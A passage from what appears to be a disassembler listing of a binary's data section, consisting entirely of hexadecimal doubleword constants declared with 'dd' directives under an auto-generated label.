0F1964584h, 0ED7D2Eh, 0EF4FB7FBh, 0E66349D4h, 45F80C09h dd 8EDB0022h, 34A79DFh, 0D8B38046h, 0CBB0BC06h, 941733F1h dd 0DC072688h, 71F0A3D3h, 39C81E7Ch, 0DC1DC428h, 0D788C099h dd 0CE67ADBDh, 0B81AB100h, 6CC7FA30h, 0F890183h, 1E9BF07h dd 0CBF0740Dh, 0AE49DC00h, 272CB366h, 3303008Ah, 0B9E3B81Fh dd 0B100DAD7h, 2B3BFFC4h, 0FCDFFBh, 22EF5814h, 0D37BDBBh dd 44BF9D00h, 0EA0717A7h, 49C300D1h, 0EE6F387Ah, 700072ACh dd 8A8E9E3Dh, 12449BB2h, 5ED4CCh, 0C3F8C12Ch, 383E37C6h dd 4D21801Fh, 0A7609B09h, 8DF634h, 0BD7306Eh, 3D640E5Fh dd 9402A200h, 0C55BA160h, 20F7737h, 0B9232095h, 8140C958h dd 4B1EF5FBh, 550EEE62h, 2291E051h, 30200368h, 0B27A5A70h dd 0E4008027h, 0A75FDB21h, 0FEDF1C8Ch, 69A900CAh, 21BD5E1h dd 120076D8h, 3A25E2E6h, 0B08ABFh, 6A68847Fh, 4B0B4778h dd 0D5E0A51Ch, 3B89DD04h, 0E24E50C0h, 0DE540052h, 24468219h dd 85078EF1h, 60E3C9F0h, 0C86479C3h, 0A37774h, 9D28880h dd 93D83871h, 62322B02h, 60AE46FDh, 0A1EABDh, 0BC0D0C07h dd 8B4CEEDh, 16CD151Dh, 8E4C354Bh, 0C1FB87E5h, 6E94F1B0h dd 57FCD4h, 92223243h, 998DCB31h, 804A6000h, 7AB19AF7h dd 0B3360075h, 0B076C4FEh, 0E00D131h, 0D223B468h, 57610Ch dd 65BC7701h, 1527878Ch, 43DA3707h, 3010469Eh, 7A9C7Bh dd 127D8EF2h, 0A2F90F2Eh, 9D0C2F03h, 0E0E67E35h, 19CBC50h dd 52568A4Bh, 80835CF2h, 0E3945B88h, 183478EBh, 19877FD1h dd 983CA931h, 0A4718040h, 6E530F67h, 76F800E1h, 823E50C0h dd 2D50C17Ah, 0BC00E494h, 0B45411C7h, 1E97CBDEh, 40505910h dd 0C87AAD68h, 6E0707F7h, 8EC3A295h, 1EDFED80h, 739300D4h dd 0B203198Ah, 7E00ACAFh, 74793688h, 0FF9C108h, 4EEFE7F8h dd 965A22E0h, 0DCF32E59h, 200D7FFh, 6A24648Ah, 1D3744Eh dd 0DB2B14DEh, 0EC31B661h, 64008321h, 6696930Ch, 3E0E6C06h dd 87966E39h, 738800E4h, 0C3B52ACCh, 80F7B438h, 8A05FDA4h dd 0FF10A37h, 0FA91DB02h, 0F1B62E2h, 73404AC0h, 0B1E96400h dd 0F123A187h, 108E49C4h, 2547700h, 0EC6A5376h, 4BB218C0h dd 42BB80h, 6CF778F2h, 531A2A5Ch, 0AE6AB000h, 0B607BA6Dh dd 942000BDh, 759C3CA6h, 0F9121C44h, 0DA0A7A9Ah, 2100B0D6h dd 3DA8AA1Eh, 2EF3008Ch, 0D7FB37CEh, 2F01CACBh, 52C9A68Dh dd 7E40E93h, 6AE90360h, 9F76046Ch, 0B280B88Bh, 6998ED97h dd 730565B0h, 3D68D73Ah, 808CE00Bh, 0A9A2B395h, 6DE338E5h dd 8E9C6780h, 0CA07AEEAh, 69FAED00h, 159B405Ch, 0A35B074Fh dd 0D0DBCE38h dd 7A31D66Dh, 21E63D09h, 0BCC18078h, 0DA6C8Ah, 0D8D9F28h dd 719093DCh, 73A46404h, 0C3801141h, 6AAF5Ah, 2AA9C2BDh dd 9904E5BFh, 40CB53FCh, 0D28F00E0h, 0D6653Fh, 4A5C661Ch dd 0AFB04BD8h, 9DB6C31Dh, 47F7B2C1h, 5BD07572h, 3E6FECDh dd 0D064911Ch, 0B8C65FE7h, 840029F4h, 40F8939Dh, 9048EBh dd 0C23DE7C0h, 0A7B9FDB3h, 7A1A0D07h, 4F705A6Dh, 0E652168h dd 8E870F98h, 0DC724CA3h, 0F560F7BAh, 350058D2h, 0F9FED8A1h dd 0E7EB8Eh, 0AC51AEEDh, 2EA439ADh, 0FE10E00h, 0A10143D6h dd 8A370030h, 6E27428h, 7F16D785h, 52005DE9h, 4399DE67h dd 727788h, 2F08CA23h, 46B85AF0h, 728F8624h, 13B0ED00h dd 0E558D79h, 28192543h, 0BC7B03E0h, 2300D5F7h, 8CC10E44h dd 0AA0934h, 675BE791h, 2692691Fh, 9507D9FCh, 7C41B24Ch dd 1BC0AA80h, 85FA2609h, 40561D3Bh, 0A65EF210h, 0DB0F19DCh dd 8079CE0Ah, 0A4C8EBC1h, 2D350065h, 5D99A1A3h, 0F860F15Fh dd 0FEC1FF48h, 3E827FC7h, 47A68DBh, 888D709Fh, 4CF1C08Ah dd 8FA01367h, 0F2006FBEh, 913C08C4h, 0F5094B83h, 714D8FF0h dd 28BC07DAh, 5E5428Bh, 5AA4002Dh, 3DD01B29h, 0FC3C4B00h dd 0CF265978h, 0AF040088h, 82D9517Bh, 21001BB2h, 13FB773Bh dd 1595B3h, 362C0CBEh, 1F5EE240h, 643D9305h, 36C72A51h dd 0E5D22980h, 1180E34Bh, 7959DCEBh, 370FF73Bh, 0E0FB828Bh dd 652DFCA4h, 532B0092h, 7CB97385h, 3AE87771h, 3400E774h dd 0BCDC74CEh, 0F4DFD551h, 4C235807h, 55B24800h, 0AF2EA8F8h dd 0A3276007h, 0E4E044BCh, 0D34D92h, 5EFA5BECh, 47425329h dd 19EFB903h, 0F8F022CAh, 18AA70B2h, 88267D1Eh, 8E2680C1h dd 7E007D10h, 4614F6D0h, 0DF730001h, 898720B8h, 5D003230h dd 8C438EBBh, 2EC94Eh, 0B0576034h, 27A17A48h, 0DADDF40Fh dd 8D8560A7h, 2D1ECB5h, 10D2FF51h, 30402A11h, 1C0E3970h dd 0EC3E6615h, 4A058A6h, 0F05034B6h, 6728C0A1h, 0FE3A014Bh dd 393AB0E0h, 8598CBh, 0A9B88434h, 6086F956h, 4E005490h dd 1E3DC95Bh, 3E70F1E6h, 63BC774Ch, 6B070D00h, 0B0359FA8h dd 0C1EA1701h, 5DFF3AA4h, 0F1EDC8h, 6EAC291Dh, 62048A82h dd 277E7C00h, 314BB124h, 0D550063h, 6E73C203h, 2500043Ch dd 7E3ED14h, 79493Bh, 2F8CB8E8h, 0B476E9D6h, 0F5570B00h dd 0FEC4EE99h, 0CF080EA1h, 0AE8033EBh, 86B1DCC1h, 193FE20Fh dd 0E3697Bh, 254F14A4h, 0FA040384h, 8CDB5CCh, 7C9FF000h dd 0EF0DE489h, 0B64401A2h, 0DDFAD0C7h, 92E07FBFh, 0A88605A4h dd 7C8EACh, 0C0611AA4h, 0E10035D1h, 0A40AFE13h, 0FE85F0A9h dd 4FB0000Dh, 4A654060h, 6B00635Fh, 1D6AB9BCh, 0F61F6148h dd 0D4F9587Ah, 8B39FB01h, 206F9EE1h, 0D300C810h, 2EE9C53Dh dd 1D33F072h, 8BA33E29h, 0C6003563h, 8B8A587h, 25C50A00h dd 7C91ED60h, 0DC4A1469h, 2603E098h, 9247E1C9h, 7B061D98h dd 5AA58200h, 0C8FDD62Ah, 0A95007EEh, 7051A893h, 4ACD8103h dd 1D5A38h, 0CF7B0AB7h, 7A6248F8h, 0E4231E69h, 5F46856h dd 0D71758F1h, 7F01C098h, 3C01F6B5h, 0E3FFCBA7h, 14ECCE20h dd 0E55F0CDh, 0DD42C32Ah, 150E4D60h, 2E00AC5Dh, 0DBF5230Ah dd 54EF60h, 0C5A04EFCh, 0FF8757E7h, 83D8824h, 6E52802h dd 734C618Ch, 3D0115D4h, 0DBBD2C5Dh, 0D1FE0079h, 4AA9EFE0h dd 1171988Eh, 9D88A616h, 3783E800h, 60670196h, 0F9476053h dd 7E017798h, 0B292591Bh, 820F0FAh, 572A018Ch, 8E8D54A8h dd 25F630C1h, 5E046204h, 8380024Ch, 0F11F1495h, 3F3F430h dd 19E106EEh, 0F9B80A1Dh, 55029978h, 0C63FD09h, 6A96600Eh dd 0E2B32432h, 7E0A00FEh, 0CF05B069h, 22C00300h, 7D0C8E91h dd 1C570FBDh, 0A2607ADAh, 1683A59Eh, 704884E0h, 4BF4048h dd 0BE1F2E00h, 0BA0AB611h, 5688003Ah, 67DAD1A0h, 16FCA7CFh dd 27E79400h, 0D9AFA640h, 92C903B6h, 0D09D506Fh, 0A91809F0h dd 75494801h, 791EFB98h, 3CCA2CF0h, 9C804F1Ah, 0ECBB7277h dd 0A90080E0h, 91FF6B06h, 12D47Bh, 0A5C0FFAh, 20DA886Eh dd 4B00E0EAh, 0A8F657A0h, 0E6F3FB7Eh, 0DFAB0EE2h, 6A818CF2h dd 0BE2D65BCh, 22A10070h, 5242519h, 86360EAh, 0C8E75EC9h dd 99E35930h, 0DE202F27h, 1AA00330h, 2A0643Eh, 8DE25842h dd 0E6255B00h, 70F06328h, 1CA93B61h, 0E15ECE80h, 0BC54C26Fh dd 0A2BB0500h, 0E35AC42Dh, 0F98F00ABh, 9B277426h, 6D002F40h dd 0CA351CFEh, 81DAFCh, 0DD53A1FBh, 0A38BF2F3h, 80128730h dd 0F4ABA49h, 0FCBD758Ch, 0A0C658Ah, 6C9CBCh, 89F397A5h dd 0DD00744Bh, 3B0D3E71h, 48B113FFh, 3A009005h, 2A82528Dh dd 701A920h, 39C09E87h, 66D43B3Fh, 362F0012h, 5AE8A20Bh dd 2B00E577h, 276D7160h, 1FD357Ah, 0EA2FC624h, 60994FB6h dd 0DF707C29h, 0C31F0501h, 3861B7A1h, 23414F0h, 0C1C26269h dd 94C0BC86h, 227166C4h, 354513Fh, 0D9A6DCDBh, 0C3249B65h dd 0D7A280E8h, 87251F82h, 8E5613h, 97BDDF5Bh, 1400FA63h dd 94660A0Dh, 7CE2B0Eh, 8B7FAC2Fh, 503E6090h, 310E0506h dd 80BD7C6Ch, 0B239CCB7h, 7DE11D19h, 0FEF401CBh, 504AFA18h dd 6B7E8798h, 8E683907h, 0B62094DEh, 0C15DD1Fh, 475A28ABh dd 3A009B29h, 0E8684118h, 0FC082BD7h, 0BFC0A046h, 0F4303A76h dd 0F2C87F2Ah, 8E30026h, 1ADB89C8h, 7300AA31h, 882BB9EBh dd 8DEC0Dh, 0FDF56F43h, 0D8A9C838h, 41C38B90h, 0F8EABDF0h dd 1DA076h, 0E4E6C7E0h, 5828C662h, 0C9912660h, 3A2BD4F6h dd 78804A51h, 0C4ECCB36h, 0F500FF0Eh, 0B925A975h, 0C1B64B3Ch dd 0F1B79559h, 0E316DC23h, 0E93F741Ch, 40BE01B8h, 19A12E12h dd 18C36050h, 2C591597h, 60398811h, 39563300h, 3EA1533Ch dd 0DE0062E8h, 6E1DE775h, 3AC74FC8h, 0D63A8D40h, 0F158CBBCh dd 0CE32511Eh, 0C1401FA3h, 14905B4Bh, 0C042C707h, 0F9D21206h dd 0A488606Eh, 923630Bh, 20004146h, 0BBF90AF2h, 0E983D91Ah dd 908AE0F8h, 20396079h, 0A6A042B2h, 6F01A5F4h, 3FDEF60Bh dd 0D3D1D947h, 739D00E2h, 0E6011888h, 0D8B33707h, 44ECC7A2h dd 0E20B00C8h, 5B381F46h, 0B10E94C0h, 9AC2110Dh, 0B5E400A0h dd 7E734AEh, 4F43C4FEh, 0B03243FFh, 9BFD200Fh, 147FFCB4h dd 62CD773h, 46E5BD10h, 0BBC00081h, 65B9DFC6h, 4A1845C7h dd 0A120B3FCh, 380C52B1h, 0BBB4A201h, 0C057F34h, 0F6FC8838h dd 31BB55Ch, 646A455Eh, 0B6C00612h, 801EE7C6h, 0C5B9D403h dd 38C39FC4h, 1A00B170h, 25703360h, 72045F79h, 0ACBD30C2h dd 0E4946C80h, 0FD85006Bh, 0D2AD3BAAh, 0EB0081C1h, 9F8D2447h dd 3A589305h, 4F2C8AEDh, 0D0D9008Dh, 0C2446203h, 0B72ABB00h dd 0F20DE776h, 6B4503B8h, 350F6894h, 48C04AE0h, 2286012h dd 909D2F01h, 29C82663h, 1E5A0141h, 0DDB95532h, 43E5FCDBh dd 0D425860Fh, 5A586203h, 0ABF840DCh, 0FEC21747h, 0A100BF5Ch dd 64378250h, 7EE600FDh, 0ED8FD1C6h, 1D00C105h, 0A87C1692h dd 8D2EBCh, 4F851FB1h, 652C9170h, 0F766EF00h, 68E56763h dd 0C38101FCh, 0C428FE06h, 0D516C46Ch, 0B99ABE00h, 8890FF20h dd 49800032h, 64F7236Eh, 0B1011EAEh, 0F0DE91ABh, 0D8D4EE35h dd 0E6262C47h, 921C00D4h, 0D63E40FCh, 6004D7Ah, 1162C567h dd 0C375CCh, 0EA103899h, 1B0D5518h, 2B00E8F4h, 6CE35FCFh dd 73EE36h, 47DE6651h dword_511C48 dd 0D4EF6D2Eh, 0E224770Eh, 41AD038Fh, 0B442DF1Fh, 8D607719h dd 0DD1CFF50h, 3DDFE4A2h, 7B0257C0h, 0FC0135A5h, 312400A4h dd 6A96DFB1h, 3700FF12h, 3516187Eh, 28A9E1A5h, 3EB0C699h dd 0EB80608Ah, 6E460193h, 92003285h, 9C70F291h, 63BB7A9h dd 968951AFh, 0E2222975h, 0D8A62277h, 10392B22h, 11EF12D7h dd 500872BEh, 1F10710Eh, 48209184h, 4FE842BAh, 183C942Fh dd 362918DFh, 0E58F8879h, 62ED79D4h, 2426D029h, 0EBF32112h dd 113D7B11h, 6E113A53h, 0E329116Dh, 28812F12h, 3EAC80Fh dd 1729006Ah, 2DC5DA20h, 8D5C08CBh, 388C0139h, 752B3449h dd 0ED10230h, 0C3BBFFF7h, 0E3947B80h, 4F0B303h, 35B03E7Bh dd 0C7189800h, 89934E5Ch, 427360h, 15C2B0ADh, 19BA8331h dd 0C5D8D00h, 96F33BFCh, 2B604F6h, 0C0A02CE6h, 4F576027h dd 1A548503h, 0C74489h, 0C10D74E8h, 0A229D138h, 98AC5201h dd 0B5A38A1Eh, 1E32DC0h, 0FF1B423Ah, 0C9E129B0h, 31D0D71Dh dd 3200DA92h, 0EFF31536h, 795F30FBh, 6374008Bh, 616C9B42h dd 0AB000C96h, 20587A33h, 1718391h, 77C2B9F8h, 43115016h dd 2CC064D0h, 0C800B203h, 0B098BE30h, 0D34591h, 21CAB9E6h dd 0F1E7FBADh, 1C00CF79h, 24BCA0B4h, 98115CBEh, 0C998C00Bh dd 0A4765BBFh, 0D4EA1600h, 49D63186h, 0EF071E7Ah, 0FE7DC095h dd 6AB3334Dh, 1747FF00h, 5C1318B5h, 0BBED00A4h, 0E9E1F484h dd 0F300614Bh, 129AEAE6h, 0C6C5714h, 9D0149F9h, 4F3BFD10h dd 313C0004h, 0EA0ED993h, 422E007Ch, 4BB4E881h, 76E8FF88h dd 4D164800h, 0B91275FEh, 0B61C078Bh, 40B80531h, 0AD4A682Eh dd 0D85DF700h, 92A16B79h, 2C1A03D1h, 0AC54F37h, 7FCD9390h dd 0C1694E00h, 0E15C6F04h, 0C471000Bh, 64B6A58Ch, 3B00A0C0h dd 79F37C23h, 0FF693ADh, 0DE7362EEh, 199AE500h, 39010A49h dd 14151237h, 0F8402324h, 0DF160Fh, 337CD5C4h, 82913B32h dd 0B147520Bh, 0D16300A0h, 0B8BB8h, 0EAD2A303h, 689DF230h dd 64DC3F03h, 0F8E11h, 1E8DBEF8h, 0FBED2FDBh, 5F4AC407h dd 0E6F11948h, 806A8252h, 5C766DDFh, 2DFEFEE6h, 0BF8A0D3Eh dd 80353FCBh, 0C1D14DBDh, 0FA8588h, 0A54C4F62h, 9F38077h dd 0ACF92F00h, 2AC315D8h, 0ECDB381Dh, 0A3BF2B80h, 0FAC97E29h dd 69BDAF00h, 4C28B585h, 1BA40045h, 0F451B4DCh, 0E0FE2B79h dd 0C7C42500h, 0FB099DC0h, 447CF7h, 0E2F5B9E7h, 61C5A954h dd 0B800AFEAh, 91AEC61Ch, 0EAADC47Bh, 59D20064h, 7C1410CDh dd 5C12926Bh, 2F1D9h, 7E3A41h, 64727124h, 0D528E160h, 7BF19C05h dd 9B7E4Eh, 3EA790C7h, 5F540DA1h, 0A3003F71h, 0D17129D4h dd 3A012B52h, 0A001E1F6h, 0F9F73157h, 5CA370B0h, 1A18CA60h dd 2B33C15h, 9D6449E4h, 500C77Fh, 0D23D43h, 0C935B825h dd 0EC778C84h, 8F0BB0F0h, 805B364Ch, 2D6F2085h, 1BCD007Dh dd 62A42333h, 1050A2B1h, 121F7C87h, 9AC0BDC6h, 74B7E1C8h dd 9B7D001Eh, 36225002h, 9700175Ah, 9C85F6C6h, 1EA3D726h dd 40A1292Ch, 4F8BC720h, 2800C4EEh, 0EA83D7Fh, 0CDD1DCh dd 646E2330h, 0F9739F74h, 0A62E4400h, 0C5CB8317h, 0C8FA00FCh dd 0E6191A79h, 3F00FE02h, 5C53B009h, 31D787h, 7948CEE5h dd 74C0B16Ch, 0B4552A00h, 0FF5A4D65h, 7B9B0344h, 519D8601h dd 0C4DB3CD9h, 1100E8BBh, 0E49E80A8h, 0FAA6239Fh, 880A1D39h dd 0AA0E3F8Ch, 990B90C1h, 4FBFDB83h, 0A5F95BA8h, 7C64BE00h dd 3065A6A4h, 0DF4D00A1h, 0DEE6CDB5h, 900F9FD1h, 409ED360h dd 0FCF306ACh, 3E4077ADh, 999E778Dh, 0D97640E1h, 0C3699F82h dd 3400377Fh, 0A654092Ah, 1759B1h, 79F5C065h, 56AEB9A9h dd 0ABB89C12h, 431C6C00h, 1C35C9F0h, 806A7F36h, 0CE5BE02Ah dd 0B6003E7Dh, 0C663F3FEh, 1DC4749Ch, 405627C0h, 3071E824h dd 7838DA76h, 0E5F28287h, 0E113C5ABh, 79ECF037h, 2678EAh dd 20E7110Ch, 4E54F1F2h, 0AF5D9D00h, 0CE4A7B35h, 169036h dd 24C52B83h, 0AE15996Fh, 739A9200h, 25010430h, 0F33900A7h dd 7EAB38C9h, 0EF003483h, 957B4C58h, 245C462Bh, 4C61Ah dd 0D8129931h, 35983A35h, 385BD200h, 4B76060Ah, 13BA002Ah dd 0F0D9C7E7h, 5D00CCFEh, 97FA1D1Eh, 0C0D43F1h, 6B6057D4h dd 3A09E856h, 7208B5h, 0AFCE6804h, 526C03B4h, 0D7C44B3Eh dd 790D008Fh, 0CA012FEBh, 0C1556917h, 8E43FC19h, 0DB0EC0B3h dd 56930079h, 14C788C0h, 0A00032CEh, 0F7BD970Fh, 1F6D353Eh dd 7D0D17h, 0BF2658F8h, 0FB135491h, 241E2EEAh, 0D3D98AC0h dd 391DDF04h, 870719C9h, 12924229h, 0F760BB20h, 8D01670Bh dd 0C94FF351h, 0CEECBD31h, 0DA290065h, 0B843D0CFh, 0ED05D398h dd 4E5F57E8h, 0A14A9803h, 3FBDA05Bh, 9FC2008Dh, 0AEFBE4E6h dd 6C009D6Bh, 0A002442Dh, 83AC0h, 0B35E6040h, 0AC05F6C2h dd 4326550Fh, 0EF2520F4h, 1460CE5h, 26EBEE3h, 0C4042B2Eh dd 58007918h, 4163D64Bh, 30BB339h, 0C05FE7E4h, 29D03C86h dd 8D1B38EEh, 1387206h, 0B59BDACCh, 83AC7F73h, 0E1D8EBA1h dd 4061A884h, 0A60E1FAFh, 8F39C038h, 0C9D2FB0Dh, 8AB08900h dd 885B3048h, 0EA5E0071h, 0F656167h, 430BB255h, 7C3B7422h dd 42AE00ADh, 2C2F8B9h, 9FD31600h, 0E44F320Ah, 2DBC00CEh dd 0A288EF8Fh, 770018C7h, 901F852Bh, 7C41E38h, 0EA5F8E7Bh dd 96C02EFDh, 353D40CEh, 2FF55000h, 5626330Dh, 465A1D0Fh dd 27E28076h, 19517A70h, 804DD73Bh, 48C7D28Ah, 0B0B7E8Ch dd 3DABEA7Ch, 0C0C1B784h, 1628ACF0h, 0A3931301h, 85F04932h dd 7D3E6ECh, 0C518D05Eh, 0AD38A050h, 4C126D9Eh, 46008187h dd 159A8B61h, 0D6C102C4h, 5DC7AE6Eh, 0AC4E6057h, 9F2D0F65h dd 8AA413BEh, 80E8C7F5h, 4CF38315h, 36093300h, 11696784h dd 0F0D800A5h, 523C7B76h, 573F9820h, 0B598F85h, 9000FF08h dd 0B4FE8042h, 0CAEC002Dh, 15499443h, 3F01C8DFh, 0C03668F8h dd 0DB99B0h, 0B5107A18h, 2E270DF0h, 2F1C1601h, 6A134CF5h dd 5C2D9CC0h, 900E0B2h, 0AEFE68C7h, 407A843h, 8BD01D6Bh dd 0FEB6030h, 0BC2E2C7Fh, 0A532400Ch, 0B700C2D3h, 7366DD20h dd 7507180h, 0BD0862E5h, 9A83C00Ch, 600004F3h, 0C68CB678h dd 0C72CD6h, 4F55BEA6h, 7D799B6Eh, 0F2D5C00h, 1281E231h dd 72D300A4h, 592CB1FDh, 3F0062F1h, 0F379C650h, 0E763920h dd 3199CBBh, 0EE2F18E1h, 0C4ABF411h, 0DC12DEE4h, 70003D42h dd 2E325180h, 5D031CBAh, 272D4369h, 0CED0715Bh, 537299B5h dd 66F91E01h, 73B67F5h, 3CEF806Bh, 372CCEDh, 8FEF0C05h dd 0A80E85E0h, 6D19601Ah, 569581h, 0CBF5A03Dh, 446FA3A1h dd 46007F7Bh, 0E86EB9B0h, 0CF8AC4h, 513BD27Bh, 0F066C9D0h dd 2CB1CC4Ch, 4E0107E5h, 993302CFh, 69F78140h, 34E600DDh dd 0FDD1ADC2h, 75002D61h, 7FAB3F16h, 0B0320C64h, 62ED0010h dd 796D0A22h, 0E305533h, 233FF0D9h, 0CB7C0A3Dh, 3CBC9719h dd 8C157180h, 0ACD4DF24h, 74BF8D07h, 0CE0045D7h, 0E33903h dd 82C225BCh, 0E8797588h, 963EED00h, 289DA9D0h, 60490509h dd 888672AAh, 5E00C9A8h, 899D397h, 6E1BCAh, 329E36E0h dd 7F294212h, 8D7E5700h, 0B7A9939Ch, 0D0485CFBh, 0A71F4D07h dd 0C7C74E1Eh, 6445802Ah, 10589739h, 34E3264Dh, 8DEDC400h dd 921913h, 0EEE2D833h, 81AF3450h, 0A8CD6100h, 10C5DD84h dd 23FB0ED3h dd 87203A8Dh, 0A7E266FDh, 320B4303h, 88782136h, 56D6A63h dd 0EA54AC67h, 0DB9407D0h, 568B4028h, 66162AF6h, 0AAFDDCh dd 8D6F77EFh, 2DE25008h, 0D8215300h, 0B7EDD147h, 26F20048h dd 2E91D517h, 1D011BF8h, 399E5F41h, 94470A1Ch, 0EAB97AC0h dd 0B841201h, 33F40018h, 0E24FF0D1h, 426F731Dh, 259880FFh dd 0AD3AD63Fh, 38B30172h, 2E223684h, 0D1BF7042h, 0C315DD1Fh dd 5C40E35Ch, 137B7834h, 0ECAF00D5h, 763268BFh, 4E00A445h dd 83D44BB3h, 0A6099Eh, 2CBE020Ah, 8FB71CE7h, 51064E04h dd 7880C821h, 9085863Ah, 0A72F0042h, 8E3E3209h, 6D5048BDh dd 0B7115D94h, 27007498h, 0D2A359AAh, 0DB1D42BAh, 0DFCF07CAh dd 0FF0621F6h, 68833696h, 646B1D9Fh, 99C7CC00h, 0C2A25B4Ah dd 90B1023Fh, 78B52687h, 4893D4E8h, 1E226009h, 0E02838EEh dd 193102B6h, 96367653h, 941C10C2h, 234A20h, 0A5AE1DB5h dd 0F2A9F79h, 0D45C60EAh, 7DB70621h, 2484E59h, 0DFB6FD42h dd 30481DC6h, 0DE00CDB1h, 0A5F643BAh, 0F6E99A0Dh, 41F807h dd 4F38A7C0h, 0DD03ADC5h, 0B320770Eh, 0CCB620E1h, 6F107Bh dd 0AD2C12C8h, 4A70B7F6h, 0DEBD2200h, 54AA070Ah, 0FB8D05D0h dd 87C58CE3h, 78C29E28h, 58503E6Ah, 16B19701h, 77367BBEh dd 15C4B821h, 0E9500299h, 4A329D95h, 0EFD07A43h, 6B009422h dd 52BE9C89h, 164E472Eh, 0C68034h, 0CBA6E728h, 33007355h dd 9F7CEAD4h, 0DA84A5h, 184D8296h, 78CCA263h, 8000A1F8h dd 0B9403D5Bh, 0FAE0C3h, 0E92D164Dh, 1810F1CFh, 88F8C0Eh dd 0F283E091h, 42831C2h, 417F0D74h, 68ACC0C3h, 0E805F7FFh dd 456F0B17h, 6E7764C2h, 0A26700D8h, 0CEB52BBh, 28F8CDEEh dd 1E05EF00h, 0E9FA0DB4h, 402200BCh, 7C3B9E7Fh, 7B03F8D4h dd 0F2B1A6AEh, 4891F8FDh, 0F9DD0068h, 8FA76EF6h, 13030F9Ah dd 16A25D72h, 0B021009Ch, 0A49EFA42h, 0D709EC01h, 77DC886h dd 11D9790Ch, 438C58Ch, 521B9100h, 8507F984h, 0BB469900h dd 6EE2F1E6h, 0E80D18D9h, 0FC2ED078h, 0B5854B00h, 0F8D203BBh dd 11D7B2Ah, 2DD7113Bh, 2433FD2Fh, 3E2B9ECh, 34524824h dd 3E40B41Ch, 0AF02649h, 154D0BEEh, 0E400D1F8h, 46890E31h dd 0A003AC24h, 0C39BFA05h, 0F599CC00h, 3DB4D8F4h, 0A080F6D3h dd 2D6EDE3Ah, 0F12C0F81h, 0C000C81Fh, 18BBC6DCh, 8DE8C2h dd 0E1475D17h, 5A1370FAh, 39D39B07h, 0D480F28Ah, 0F1CC5Ch dd 55FEA42Fh, 8E1DD5E3h, 7EC7700h, 0F334B74Fh, 82B0463h dd 807FB5D2h, 0D00971BFh, 0D87841F0h, 0CDF7491Fh, 832C95C0h dd 0AE2998h, 2F3792CEh, 821C242h, 0FFD3DC00h, 836EC4A8h dd 132800B5h, 3185E7FAh, 610F8630h, 4398C8DAh, 0E0812963h dd 0A1C7E6h, 0BFE99CB1h, 99B4C5DCh, 7B46FE00h, 5C77A54Bh dd 9D76F6h, 0A1E4F58h, 0EB8D53E5h, 0F284149Bh, 50C01714h dd 94A0D87Fh, 8ED68054h, 0B3DFBE38h, 0E6C09E03h, 611412h dd 0C9D10382h, 7CC452EDh, 78A55B48h, 2E394F07h, 74A00E90h dd 3A230C44h, 173E8F9h, 0D993255Bh, 80573ACAh, 52EABDF8h dd 1FFEC2DAh, 6CD29A87h, 0AAA9876Ch, 4C5863C4h, 0BAEE50E8h dd 2501D87Ch, 0EB2FDF5Ah, 62C1C2B1h, 632D30h, 0C13D3CFFh dd 57D4EEA4h, 2FDD861Eh, 39D2EB40h, 4C5385BDh, 3503D8C4h dd 0FB1D7360h, 7809DBE0h, 79F4CB3Ch, 9B3F6D03h, 0F6BE5B46h dd 1E6E00A0h, 3D2027A4h, 0BB001544h, 4369182Eh, 51A235h dd 383C6C5Eh, 2ABE9267h, 5D5A8E07h, 977032B9h, 0B2C8E1h dd 51F40C9Dh, 7C95CA8Ch, 83B0CCA8h, 0F92CE60Eh, 0EB33A0BAh dd 0B1155264h, 9CAD0230h, 0BC5055BCh, 360073F4h, 44FA702Bh dd 1375F16h, 4CFFA527h, 3060643Fh, 6620C7E4h, 2D400178h dd 111F3D39h, 12F42CBBh, 7200FB06h, 1BC86D18h, 65D9008Ch dd 97542D6Fh, 0D303FA2Ch, 0B253CFE8h, 98C0E04Ch, 7A993D84h dd 0A27E706h, 900010A3h, 0E2D9F704h, 240DD481h, 1C2B22h dd 8BF83A2Eh, 92070328h, 79DEA846h, 0B3B4E500h, 0D8E85C2Dh dd 7C588C00h, 5A725B21h, 0FFB82609h, 63148F4Ah, 0D0DC7352h dd 0F13D31h, 71165DC3h, 4B80CB21h, 0CC869800h, 79F3B8E1h dd 2D10064h, 2C1B955Eh, 0BA009173h, 6B199076h, 27A58A2h dd 2E0C938Ch, 78607E08h, 241E0973h, 27005029h, 5CFB76B7h dd 35320385h, 9F412E71h, 8CAC4380h, 67EDCC0Eh, 0C0FA2FF7h dd 5BA337DAh, 0E9D20032h, 0BA3EA4F9h, 1B0002B4h, 5803EBC0h dd 0E3CA5ACh, 188A2822h, 0FF720860h, 52004757h, 0E8C40905h dd 505DA4EDh, 0FA648E03h, 99C900BBh, 7B500EE6h, 77793F98h dd 1CD70100h, 0B202A1AAh, 9E41011Eh, 2439665Bh, 625220FFh dd 0FB015Ch, 79E6F336h, 3D966CF5h, 0E200067Dh, 0FAC6EDAFh dd 64007B34h, 578172E6h, 7D7692h, 0CCD977E4h, 3EB196A6h dd 0D27138h, 0E98B37DFh, 0FDC45h, 0FBEDB538h, 3E05FDBDh dd 0D6F19D00h, 4B6755CAh, 0E9440F1Fh, 85E030FCh, 161AFFB1h dd 0E174CD75h, 26A15C00h, 0D8B2F73Eh, 0A305720Ch, 2000BD84h dd 5D54A258h, 263E00BFh, 719F6B6Eh, 164BD891h, 9144EE8h dd 396797C8h, 902937EEh, 0E62CFB96h, 2E2A1E00h, 0ACC6DA86h dd 5EA9006Fh, 57D2A12Bh, 0F605E584h, 46F18D05h, 319F43C0h dd 347A70h, 27DBA0C1h, 0A92E5455h, 8D96790Fh, 20FF605Ah dd 3FB59A6Eh, 31010362h, 0E82760DEh, 0D495CC69h, 0F700EEEAh dd 6F9A7371h, 0E2D13h, 2F29B88Ah, 0B08859C3h, 0F6E170A0h dd 5FD30900h, 7FB4644Dh, 0AE680078h, 6331F269h, 410097EBh dd 0EF8087CDh, 0E2724A56h, 80A001Dh, 0B9F3386Bh, 2000D235h dd 0A9B3DCD4h, 195E4B5h, 32BDDAD5h, 0E01718ECh, 0A500E3E5h dd 2B1B6147h, 0D58A40h, 0F4BD467Ch, 0E3F2C694h, 0F5A98E16h dd 0C5C19700h, 7419283h, 5E24805Fh, 5687C0B4h, 82009CF3h dd 6B85E5A6h, 0FD1829h, 33F45ABBh, 537F9788h, 9EA0731Dh dd 8A38BC00h, 3E1A408h, 4F8D0D89h, 6B803329h, 0D70049A9h dd 0AE7DC985h, 0E89665Ch, 0E8914B60h, 0D6F820A0h, 0EA30DFDEh dd 245B2CE5h, 127746h, 0BCA63E2Dh, 7386277Ah, 80477B3Eh dd 67B8EDC4h, 0B06E06E4h, 275200ADh, 